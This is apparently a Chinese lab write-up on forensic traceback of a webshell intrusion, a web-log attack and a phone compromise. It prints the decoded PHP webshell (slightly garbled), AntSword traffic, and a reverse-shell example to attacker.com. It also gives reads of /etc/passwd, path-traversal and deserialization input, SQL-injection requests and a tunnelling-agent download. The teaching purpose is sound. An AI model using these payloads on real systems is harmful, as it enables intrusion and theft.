当前位置: 首页 > news >正文

【攻防实验】溯源与取证分析实验

溯源与取证分析实验

溯源取证分析作为网络攻防过程中重要环节,准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息),对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或者软件日志等信息来挖掘或者推断相关线索。本实验通过网络流量、日志等溯源环境进行真实案例模仿,通过实战化分析来锻炼学生的取证溯源能力,从而加深大家对于网络攻防的实战化水平。在本实验结束时,学生应该能够具备对网络流量和日志的基本分析能力。

实验工具:

  1. Wireshark(版本≥3.0)
  2. VScode或者类似文本编辑器

Webshell数据包(webshell.zip)

背景介绍: webshell又称脚本木马,通过服务器开放的端口获取服务器的某些权限。

小张单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。
B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来,并配图说明。

分析过程

1.用 wireshark 打开 hack.pcap ,可以看到有 HTTP 和 TCP 两种类型的流量。

在这里插入图片描述

2.在已知为 webshell 攻击后,我们在wireshark中搜索常用的命令,如 whoami, ls, pwd 等,来进行分析。首先在 wireshark 中设置成如下所示的样子。然后进行搜索。

在这里插入图片描述

3.首先搜索 login,查看登录信息。发现登录的账号和密码。

  • 账号:test
  • 密码:Admin123!@#

在这里插入图片描述

4.然后搜索 whoami,我们发现这个它跟参数 aaa 有关。并且此处对日志文件进行了修改。

在这里插入图片描述

5.我们继而对 aaa 进行搜索。发现 aaaifconfigipconfigpwd 等指令都有关,我充分怀疑这个参数 aaa 有问题,跟webshell有关。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

6.我们仔细观察会发现在查询 aaa 时,有一个很可疑的值(即上面的最后一张图片),这里变量 aaa 中包含了一个命令,作用是通过 system() 函数执行一个 shell 命令,解码 Base64 编码的字符串并将其写入到服务器的 /var/www/html/1.php 文件中。这里有几个疑点:

  1. 为什么会去执行这样一个命令?
  2. 该命令中进行了Base64编码,怀疑是为了绕过审查
  3. 一般情况网站上不会去创建叫做 1.php 的文件
  4. .php 文件为常见的webshell脚本

在这里插入图片描述

7.分析后,我们对这里的 Base64 编码进行解码分析,解码后如下所示。

<?php eval($_REQUEST[aaa^;?>

8.这段代码的作用是,通过 eval() 函数执行传递给 aaa 参数的 PHP 代码。也就是说,黑客可以在 URL 中传递一个恶意的 PHP 代码作为 aaa 参数,服务器就会执行这段代码。比如说,如果黑客知道 Webshell 的存在,他就可以通过下面所示的这些来实现恶意代码注入。而将一个php一句话木马写入了网站根目录下的1.php文件中,可能是为了在服务器持久化存储该木马文件

# 执行系统命令
http://victim.com/shell.php?aaa^=system('cat /etc/passwd');# 上传恶意文件(如果 PHP 有文件上传功能)
http://victim.com/shell.php?aaa^=move_uploaded_file('evil.php', '/var/www/html/evil.php');#  获取反向Shell(这会在受害者的服务器上启动一个反向 shell,连接到攻击者的服务器。)
http://victim.com/shell.php?aaa^=exec('nc -e /bin/bash attacker.com 1234');

9.我们继续跟踪变量 aaa。发现一个比较复杂的命令,形式上符合webshell工具——蚁剑的传输流量特征。这是一段PHP代码。

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bc"."0f2";echo @asenc($output);echo "f797e"."322e0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

在这里插入图片描述

10.该PHP代码段是一个典型的 Webshell,它用于收集并输出受害服务器的关键信息。通过隐藏错误、禁用时间限制、输出混淆等手段,攻击者意图在受害服务器上执行持久化操作。对其分析如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
  • @ini_set("display_errors", "0"):关闭错误显示,避免 PHP 错误信息泄露。
  • @set_time_limit(0):禁用脚本执行时间限制,使脚本可以长时间运行,通常用于持续执行的恶意操作。
function asenc($out) { return $out; };
function asoutput() {$output = ob_get_contents();ob_end_clean();echo "bc" . "0f2";echo @asenc($output);echo "f797e" . "322e0";
}
  • asenc($out):这是一个空的加密/解密函数,实际上并没有对输出做任何处理,只是返回原样的数据。
  • asoutput():该函数获取输出缓冲区的内容(ob_get_contents()),清空缓冲区(ob_end_clean()),然后输出一些字符串:
    • bc0f2f797e322e0 可能是用来混淆输出的无意义字符串,增加分析难度。
    • 然后通过 @asenc($output) 输出原始缓冲区内容。这表明该代码的目标可能是输出一些信息或返回执行结果。
ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D}	";if (substr($D, 0, 1) != "/") {foreach (range("C", "Z") as $L)if (is_dir("{$L}:")) $R .= "{$L}:";} else {$R .= "/";}$R .= "	";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R .= php_uname();$R .= "	{$s}";echo $R;
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
  • ob_start():启动输出缓冲区,以便后续的输出可以捕获并进行处理(例如用于 asoutput())。
  • $D = dirname($_SERVER["SCRIPT_FILENAME"]):获取当前脚本的目录路径。
  • 如果 $D 为空,则尝试使用 $_SERVER["PATH_TRANSLATED"] 获取路径。
  • 目录信息构建:
    • 如果路径是 Windows 系统路径(不是以/ 开头),代码会尝试列出从 C: 到 Z: 的所有磁盘驱动器,并检查每个驱动器是否是目录。
    • 如果是 Unix 系统,则 $R 的值会是 /
  • 用户信息:
    • 使用 posix_getegid()posix_geteuid() 获取当前用户的组名和用户名信息(如果存在 posix 扩展)。
    • 如果 posix 扩展不可用,则使用 get_current_user() 获取当前 PHP 执行用户。
  • php_uname():返回操作系统信息,如操作系统名称、版本、架构等。
  • 输出信息:
    • 将目录信息、操作系统信息、当前用户名拼接并输出。目的是暴露受害主机的详细环境信息,包括操作系统类型、版本、当前用户等。
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
  • 错误捕捉:如果在执行过程中出现异常,会输出错误信息。
asoutput();
die();
  • asoutput():调用该函数输出缓冲区的内容,并将之前收集到的输出进行处理,可能会显示一些数据或执行其他操作。
  • die():脚本执行完毕后终止。

11.通过上面的分析,我们可以断定 1.php 是黑客的恶意程序。我们继续跟踪变量 aaa。找到这个数据包,我们发现相较之前的数据包,其代码段中包含了一个变量 j68071301598f,并且其值很像一个 Base64 编码后的代码。我们对其进行解码(从第三位开始)得到 frpc.ini 文件路径:

/var/www/html/frpc.ini

在这里插入图片描述

Frpc 为一款内网穿透工具 https://ababtools.com/?post=4421

12.对第二个 item 进行十六进行转 ASCII 的解码。结果如下所示。

# item 的内容
item = 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
# 转码的结果
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

13.通过解码结果我们可以得到:

  • 服务器IP:192.168.239.123
  • 服务器端口:7778
  • 使用 SOCKS5 插件
  • SOCKS5 代理的用户名:0HDFt16cLQJ
  • SOCKS5 代理的密码:JTN276Gp

至此我们已基本完成对这个流量的分析。

任务完成记录

A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。

登录系统:

在这里插入图片描述

修改日志文件:

在这里插入图片描述

写入webshell:

在这里插入图片描述

蚁剑通过webshell进行连接

在这里插入图片描述

上传代理工具客户端及代理工具回连客户端:

在这里插入图片描述

B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来。

见上面的分析过程

  • 账号:test

  • 密码:Admin123!@#

  • SOCKS5 的连接账号:0HDFt16cLQJ

  • SOCKS5 的密码:JTN276Gp


日志分析(日志分析.zip)

小明发现单位某应用程序被攻击后提取了对应的日志数据,请分析日志并进行作答:
A. 网络存在源码泄漏,源码文件名是什么?(请提交带有文件后缀的文件名,例如x.txt,并对流量分析进行截图)
B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?(请对流量分析进行截图)
C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?

任务完成记录

A. 网络存在源码泄漏,源码文件名是什么?

在网络日志中,HTTP 状态码 200 通常表示请求成功,并且服务器已成功处理并返回了请求的资源。如果日志中有 HTTP 200 OK 状态码,并且请求涉及到某些源码文件(如 .php, .jsp, .py, .html 等),这可能表明攻击者通过请求源码文件而获得了敏感信息。

所以我们在日志中搜索 200,查看攻击者成功访问了什么文件。

这里访问了 index.php, www.zip, info.php

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

需要知道常见的网站备份文件后缀有 .zip.rar.7z等,我们可以看到在成功访问 www.zip 后,接连访问了 www.rar,www.7z,虽然都是状态码为 404 表示访问失败。所以我们合理推测泄露的源码文件应该是 www.zip

在这里插入图片描述

B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?

在日志文件中查找 tmp,发现黑客通过filename参数向/tmp目录传递了一个名叫 sess_car 的文件。

在这里插入图片描述

C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?

对上面截图中的URL编码进行解码,我们可以看到是利用了 SplFileObject 的漏洞读取了秘密文件。

# 原始 URL编码
filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"# URL解码后
filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

SplFileObject带来的漏洞
SplFileObject 是 PHP 中一个用于文件处理的类,它为文件操作提供了更高级的功能,比如逐行读取文件内容、写入文件等。SplFileObject 本身并没有漏洞,但由于它的使用不当或不安全的反序列化,攻击者可能通过它来利用一些漏洞,特别是在 PHP 反序列化漏洞 中,SplFileObject 类通常会被滥用来进行恶意操作。


攻击“苹果”注入(ios.zip)

一位苹果安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
A. 简述黑客的整个攻击过程,关键步骤请配图说明。
B. 黑客所控制的C&C服务器IP是什么?
C.被害者手机上被拿走了的私钥文件内容是什么?

任务完成记录

A. 简述黑客的整个攻击过程,关键步骤请配图说明。

1.首先查看日志文件 access.log。因为木马文件常为 php 文件在日志文件中搜索 .php,我们可以看到有一个文件 ma.php被上传,并且红色框出的编码经base64解码后的结果为 whoami ,并且后面的操作都与这个文件相关。所以此处是一个webshell请求,并且这个文件是一个木马文件。

fxxk=system(base64_decode(%27d2hvYW1p%27))

在这里插入图片描述

2.接下来我们查看流量文件 triffic.pcap 。在使用Wireshark的跟踪流功能跟踪到第15个TCP流时,如下所示我们可以看到一个类似于 Linux 客户端的界面,先后执行了

  • ls
  • wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent : 使用wget命令访问网站下载了GitHub的资源并赋予了可执行权限。下载的项目是一个内网穿透工具叫做 Stowaway。

在这里插入图片描述
2.我们进入 Stowaway 的 github 主页,看到他的参数介绍,如下所示。

admin:

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
--heartbeat 开启心跳包

agent:

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址

3.我们参考这个说明,继续分析这个流量文件。我们发现攻击者运行ios_agent命令进行攻击。并且可以得到攻击者主机IP是 3.128.156.159,加密密钥是hack4sec。至此对于该TCP流已分析完毕。

在这里插入图片描述
4.我们继续对流量进行分析,我们想要访问HTTP流量时发现全部经过加密,无法正常阅读,这是因为当浏览器访问https站点时使用SSL/TLS协议,必须拥有服务器私钥,才能得到用于对称加密的密钥,然后真正解开加密的数据。这时我们使用提供的密钥文件 keylog.txt 进行解密。

TCP流解密方法 https://blog.csdn.net/for_mat_/article/details/118107321

5.解密后我们查看 HTTP 流量,发现其中有明显的关于 SQL 注入的特征字段,所以将该部分字段拿来进行URL解码。发现确实是在进行布尔注入。

# 解码得到HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]

在这里插入图片描述

6.在渗透中通常要扫描端口,由于大多数端口关闭,主机会发出RST,我们只需在wireshark的专家模式中找到RST数据包的最大和最小端口即可确定端口扫描范围。端口扫描范围为 10-499

Wireshark 的专家模式的打开方式

在这里插入图片描述

在这里插入图片描述

至此对于黑客的攻击过程基本分析完毕。

B. 黑客所控制的C&C服务器IP是什么?

由前面的分析过程我们可知,C&C服务器IP : 3.128.156.159

C.被害者手机上被拿走了的私钥文件内容是什么?

将上面的所有SQL注入的每一位的最后一条请求的值连在一起,再使用hex解码就可以得到⼀个uuid值即为私钥文件的内容。

在这里插入图片描述

# 例如下面这个就取 3
43052    2021-08-28 14:10:57.001000    192.168.1.8    192.168.1.12    HTTP2    246    HEADERS[3]: GET /info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222D%22_then_id_else_col1_end%29, WINDOW_UPDATE[3]# 全部拼在一起后
37343635386633206338343120343536642038356437206436633066656461626232# 通过HEX解码得到
746558f3-c841-456b-85d7-d6c0f2edabb2

拿到的私钥文件内容为:746558f3-c841-456b-85d7-d6c0f2edabb2


参考资料

[1] https://www.cnblogs.com/leo1017/p/17949472
[2] https://blog.csdn.net/qq_64389397/article/details/135440190

相关文章:

【攻防实验】溯源与取证分析实验

溯源与取证分析实验 溯源取证分析作为网络攻防过程中重要环节&#xff0c;准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息)&#xff0c;对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或…...

THREE.js 入门(一)xyz坐标系

一、坐标系概念 在 three.js 中&#xff0c;相机的默认朝向是沿着 Z 轴的负方向。也就是说&#xff0c;默认情况下&#xff0c;相机会沿着 Z 轴的负方向“看”到场景中的对象&#xff0c;而 X 轴和 Y 轴分别对应水平方向和垂直方向。换句话说&#xff0c;相机的默认位置是 (0,…...

AUTOSAR CP中基于通信模块(COM)的Transformer-R24的规范导读

该文档是关于 AUTOSAR CP中基于通信模块&#xff08;COM&#xff09;的Transformer的规范说明&#xff0c;主要内容包括引言、相关文档、约束与假设、功能规范、API 规范、配置规范等&#xff0c;旨在为汽车电子系统开发中基于 COM 的Transformer提供全面的技术规范和指导。 一…...

ubuntu20.04安装anygrasp_sdk

ubuntu20.04安装anygrasp_sdk采坑记录 安装ME的教程看上一篇,现在来看anygrasp安装问题grasp_detection、grasp_trackinglicense申请demo文件的运行注意的地方到这以为大功告成了,然后出现了一个numpy版本不匹配问题最后还有一个问题就是修改demo.sh,不然没法可视化结果展示安…...

Spring完整知识点二

Spring注解开发 Spring是轻代码而重配置的框架&#xff0c;配置比较繁重&#xff0c;影响开发效率&#xff0c;所以注解开发是一种趋势&#xff0c;它能够代替xml配置文件&#xff0c;可以简化配置&#xff0c;提高开发效率Spring注解根据出现时间分类 Spring原始注解&#xf…...

GESP三级集训——课堂笔记(部分)

进制转换&#xff08;二进制、十进制、八进制、十六进制等&#xff09; 十进制&#xff08;逢十进一&#xff09;——Decimal 十进制是我们生活中最常见的进制&#xff0c;如“1”“23”“891”等&#xff1a; 进位过程如下&#xff1a;{1,2,3,4,5,6,7,8,9}{10,11,12,13,14,…...

Spring Boot接口返回统一格式

统一的标准数据格式好处 SpringBoot返回统一的标准数据格式主要有以下几点好处&#xff1a; 增强接口的可读性和可维护性&#xff0c;使得前端开发人员能够更加清晰地理解接口返回的数据结构&#xff0c;从而提高开发效率。 降低前后端耦合度&#xff0c;当后端需要修改返回数…...

Flink如何基于数据版本使用最新离线数据

业务场景 假设批量有一张商户表&#xff0c;表字段中有商户名称和商户分类两个字段。 批量需要将最新的商户名称和分类的映射关系推到hbase供实时使用。 原实现方案 a.原方案内容 为解决批量晚批问题&#xff0c;批量推送hbase表时一份数据产生两类rowkey&#xff1a;T-1和…...

软件开发中的常用性能指标

大家好&#xff01;我是今越。在软件开发中我们经常会遇到一些性能指标&#xff0c;下面就带大家一起来看看。 QPS Queries Per Second&#xff0c;每秒查询率&#xff0c;一台服务器每秒能够响应的查询次数。它是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准…...

cmakelist使用总结

支持能编译成在不同系统上运行程序的方法 我们代码就一份&#xff0c;但有时需要编译成arm32&#xff0c;有时需要编译成x86_64,或更多 1、首先先将代码定义一个名称&#xff1a; #将所有的源文件列为一个集合&#xff0c;集合名字叫做SRC_LISTS set(SRC_LISTS main.cpp A.cpp…...

准备阶段 Unity优化总纲

Unity优化总纲 我们在学习优化课程之前要预先做好准备功能 例如最主要是的接收到一个优化的任务&#xff0c;应该怎么做&#xff0c;其次怎么做&#xff0c;最后怎么做。 也要学习一些专业工具以及专业术语 了解游戏运行机制&#xff0c;在排查期间思路会更清晰 1.优化目的…...

ubuntu防火墙(三)——firewalld使用与讲解

本文是Linux下&#xff0c;用ufw实现端口关闭、流量控制(二) firewalld使用方式 firewalld 是一个动态管理防火墙的工具&#xff0c;主要用于 Linux 系统&#xff08;包括 Ubuntu 和 CentOS 等&#xff09;。它提供了一个基于区域&#xff08;zones&#xff09;和服务&#x…...

zookeeper 搭建集群

基础的java 环境先安好&#xff0c;选择3台虚拟机 ip 不一样 机器应为奇数个 zookeeper 奇数个节点实际上是(2*n-1) 比偶数台机器少一台解决成本,并且能够满足 zookeeper 集群过半选举leader 的规则 # 3台虚拟机 将zookeeper 解压到服务器上 #在 conf/ 目录下 找到zoo_s…...

Java——异常机制(下)

1 异常处理之(捕获异常) (一般处理运行时异常) (try-catch-finally子句) (finally一般用于文件最后关闭) (catch捕获的子类在前父类在后——>不然父类在前面都让父类捕获掉了&#xff0c;会报错) (Exception是父类放在最后&#xff0c;如果前面没有捕获到&#xff0c;就…...

centos 手动安装libcurl4-openssl-dev库

下载源代码 curl downloadshttps://curl.se/download/ 选择需要下载的版本&#xff0c;我下载的是8.11.0 解压 tar -zxvf curl-8.11.0 查看安装命令 查找INSTALL.md&#xff0c;一般在docs文件夹下 –prefix &#xff1a;指定安装路径&#xff08;默认安装在/usr/local&…...

JS学习(1)(基本概念与作用、与HTML、CSS区别)

目录 一、JavaScript是什么&#xff1f; &#xff08;1&#xff09;基本介绍 &#xff08;2&#xff09;简称&#xff1a;JS&#xff1f; 二、JavaScript的作用。 三、HTML、CSS、JS之间的关系。 &#xff08;1&#xff09;html、css。 &#xff08;2&#xff09;JavaScript。 …...

代码随想录算法训练营day50|动态规划12

不同的子序列 给定一个字符串 s 和一个字符串 t &#xff0c;计算在 s 的子序列中 t 出现的个数。、 编辑距离中的删除元素&#xff0c;其实就是直接变数字&#xff0c;其只删除原来的较长的数组里的元素 递推模拟&#xff0c;使用s的最后一个元素匹配&#xff0c;或者删除…...

JavaWeb学习(2)(Cookie原理(超详细)、HTTP无状态)

目录 一、HTTP无状态。 &#xff08;1&#xff09;"记住我"&#xff1f; &#xff08;2&#xff09;HTTP无状态。 &#xff08;3&#xff09;信息存储客户端中。如何处理&#xff1f; 1、loaclStorage与sessionStorage。 2、Cookie。 二、Cookie。 &#xff08;1&…...

java抽象类

目录 一.抽象类 1.什么是抽象类 2.抽象类特点 (1)抽象类不能直接实例化对象 (2)可以包含抽象方法和具体方法 (3)可以有构造方法 (4)抽象类必须被继承&#xff0c;并且继承后子类要重写父类中的抽象方法&#xff0c;否则子类也是抽象类&#xff0c;必须要使用 abstract 修…...

minio集群部署–linux环境

原文地址&#xff1a;minio集群部署–linux环境 – 无敌牛 欢迎参观我的个人博客&#xff1a;无敌牛 – 技术/著作/典籍/分享等 第一步&#xff1a;安装 有rpm、deb、和二进制文件安装方式。参考文档在&#xff1a;MinIO Object Storage for Linux — MinIO Object Storage …...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

剑指offer20_链表中环的入口节点

链表中环的入口节点 给定一个链表&#xff0c;若其中包含环&#xff0c;则输出环的入口节点。 若其中不包含环&#xff0c;则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

linux 错误码总结

1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...

Linux云原生安全:零信任架构与机密计算

Linux云原生安全&#xff1a;零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言&#xff1a;云原生安全的范式革命 随着云原生技术的普及&#xff0c;安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测&#xff0c;到2025年&#xff0c;零信任架构将成为超…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...

企业如何增强终端安全?

在数字化转型加速的今天&#xff0c;企业的业务运行越来越依赖于终端设备。从员工的笔记本电脑、智能手机&#xff0c;到工厂里的物联网设备、智能传感器&#xff0c;这些终端构成了企业与外部世界连接的 “神经末梢”。然而&#xff0c;随着远程办公的常态化和设备接入的爆炸式…...

安卓基础(aar)

重新设置java21的环境&#xff0c;临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的&#xff1a; MyApp/ ├── app/ …...

回溯算法学习

一、电话号码的字母组合 import java.util.ArrayList; import java.util.List;import javax.management.loading.PrivateClassLoader;public class letterCombinations {private static final String[] KEYPAD {"", //0"", //1"abc", //2"…...

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)

推荐 github 项目:GeminiImageApp(图片生成方向&#xff0c;可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...

HybridVLA——让单一LLM同时具备扩散和自回归动作预测能力:训练时既扩散也回归,但推理时则扩散

前言 如上一篇文章《dexcap升级版之DexWild》中的前言部分所说&#xff0c;在叠衣服的过程中&#xff0c;我会带着团队对比各种模型、方法、策略&#xff0c;毕竟针对各个场景始终寻找更优的解决方案&#xff0c;是我个人和我司「七月在线」的职责之一 且个人认为&#xff0c…...